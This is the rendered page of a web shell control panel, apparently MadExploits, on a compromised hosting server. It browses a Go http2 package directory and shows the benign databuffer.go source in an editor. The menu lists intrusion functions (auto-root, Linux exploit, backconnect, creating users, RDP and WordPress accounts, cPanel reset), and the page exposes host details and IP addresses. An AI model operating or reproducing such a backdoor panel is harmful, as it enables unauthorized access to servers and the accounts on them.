Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
golang.org /
x /
net@v0.20.0 /
http2 /
[ HOME SHELL ]
Name
Size
Permission
Action
h2c
[ DIR ]
dr-xr-xr-x
h2i
[ DIR ]
dr-xr-xr-x
hpack
[ DIR ]
dr-xr-xr-x
testdata
[ DIR ]
dr-xr-xr-x
.gitignore
11
B
-r--r--r--
ascii.go
1.35
KB
-r--r--r--
ascii_test.go
1.77
KB
-r--r--r--
ciphers.go
34.38
KB
-r--r--r--
ciphers_test.go
12.77
KB
-r--r--r--
client_conn_pool.go
8.4
KB
-r--r--r--
databuffer.go
4.26
KB
-r--r--r--
databuffer_test.go
4.28
KB
-r--r--r--
errors.go
4.52
KB
-r--r--r--
errors_test.go
533
B
-r--r--r--
flow.go
3.29
KB
-r--r--r--
flow_test.go
3.25
KB
-r--r--r--
frame.go
46.95
KB
-r--r--r--
frame_test.go
30.73
KB
-r--r--r--
gotrack.go
3.09
KB
-r--r--r--
gotrack_test.go
761
B
-r--r--r--
headermap.go
2.15
KB
-r--r--r--
http2.go
9.54
KB
-r--r--r--
http2_test.go
6.47
KB
-r--r--r--
pipe.go
4.08
KB
-r--r--r--
pipe_test.go
3
KB
-r--r--r--
server.go
101.31
KB
-r--r--r--
server_push_test.go
15.71
KB
-r--r--r--
server_test.go
128.81
KB
-r--r--r--
transport.go
89.77
KB
-r--r--r--
transport_test.go
166.92
KB
-r--r--r--
write.go
10.67
KB
-r--r--r--
writesched.go
7.66
KB
-r--r--r--
writesched_priority.go
13.34
KB
-r--r--r--
writesched_priority_test.go
17.86
KB
-r--r--r--
writesched_random.go
2
KB
-r--r--r--
writesched_random_test.go
1.76
KB
-r--r--r--
writesched_roundrobin.go
2.75
KB
-r--r--r--
writesched_roundrobin_test.go
1.59
KB
-r--r--r--
writesched_test.go
5.18
KB
-r--r--r--
z_spec_test.go
7.27
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : databuffer.go
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package http2 import ( "errors" "fmt" "sync" ) // Buffer chunks are allocated from a pool to reduce pressure on GC. // The maximum wasted space per dataBuffer is 2x the largest size class, // which happens when the dataBuffer has multiple chunks and there is // one unread byte in both the first and last chunks. We use a few size // classes to minimize overheads for servers that typically receive very // small request bodies. // // TODO: Benchmark to determine if the pools are necessary. The GC may have // improved enough that we can instead allocate chunks like this: // make([]byte, max(16<<10, expectedBytesRemaining)) var dataChunkPools = [...]sync.Pool{ {New: func() interface{} { return new([1 << 10]byte) }}, {New: func() interface{} { return new([2 << 10]byte) }}, {New: func() interface{} { return new([4 << 10]byte) }}, {New: func() interface{} { return new([8 << 10]byte) }}, {New: func() interface{} { return new([16 << 10]byte) }}, } func getDataBufferChunk(size int64) []byte { switch { case size <= 1<<10: return dataChunkPools[0].Get().(*[1 << 10]byte)[:] case size <= 2<<10: return dataChunkPools[1].Get().(*[2 << 10]byte)[:] case size <= 4<<10: return dataChunkPools[2].Get().(*[4 << 10]byte)[:] case size <= 8<<10: return dataChunkPools[3].Get().(*[8 << 10]byte)[:] default: return dataChunkPools[4].Get().(*[16 << 10]byte)[:] } } func putDataBufferChunk(p []byte) { switch len(p) { case 1 << 10: dataChunkPools[0].Put((*[1 << 10]byte)(p)) case 2 << 10: dataChunkPools[1].Put((*[2 << 10]byte)(p)) case 4 << 10: dataChunkPools[2].Put((*[4 << 10]byte)(p)) case 8 << 10: dataChunkPools[3].Put((*[8 << 10]byte)(p)) case 16 << 10: dataChunkPools[4].Put((*[16 << 10]byte)(p)) default: panic(fmt.Sprintf("unexpected buffer len=%v", len(p))) } } // dataBuffer is an io.ReadWriter backed by a list of data chunks. // Each dataBuffer is used to read DATA frames on a single stream. // The buffer is divided into chunks so the server can limit the // total memory used by a single connection without limiting the // request body size on any single stream. type dataBuffer struct { chunks [][]byte r int // next byte to read is chunks[0][r] w int // next byte to write is chunks[len(chunks)-1][w] size int // total buffered bytes expected int64 // we expect at least this many bytes in future Write calls (ignored if <= 0) } var errReadEmpty = errors.New("read from empty dataBuffer") // Read copies bytes from the buffer into p. // It is an error to read when no data is available. func (b *dataBuffer) Read(p []byte) (int, error) { if b.size == 0 { return 0, errReadEmpty } var ntotal int for len(p) > 0 && b.size > 0 { readFrom := b.bytesFromFirstChunk() n := copy(p, readFrom) p = p[n:] ntotal += n b.r += n b.size -= n // If the first chunk has been consumed, advance to the next chunk. if b.r == len(b.chunks[0]) { putDataBufferChunk(b.chunks[0]) end := len(b.chunks) - 1 copy(b.chunks[:end], b.chunks[1:]) b.chunks[end] = nil b.chunks = b.chunks[:end] b.r = 0 } } return ntotal, nil } func (b *dataBuffer) bytesFromFirstChunk() []byte { if len(b.chunks) == 1 { return b.chunks[0][b.r:b.w] } return b.chunks[0][b.r:] } // Len returns the number of bytes of the unread portion of the buffer. func (b *dataBuffer) Len() int { return b.size } // Write appends p to the buffer. func (b *dataBuffer) Write(p []byte) (int, error) { ntotal := len(p) for len(p) > 0 { // If the last chunk is empty, allocate a new chunk. Try to allocate // enough to fully copy p plus any additional bytes we expect to // receive. However, this may allocate less than len(p). want := int64(len(p)) if b.expected > want { want = b.expected } chunk := b.lastChunkOrAlloc(want) n := copy(chunk[b.w:], p) p = p[n:] b.w += n b.size += n b.expected -= int64(n) } return ntotal, nil } func (b *dataBuffer) lastChunkOrAlloc(want int64) []byte { if len(b.chunks) != 0 { last := b.chunks[len(b.chunks)-1] if b.w < len(last) { return last } } chunk := getDataBufferChunk(want) b.chunks = append(b.chunks, chunk) b.w = 0 return chunk }
Close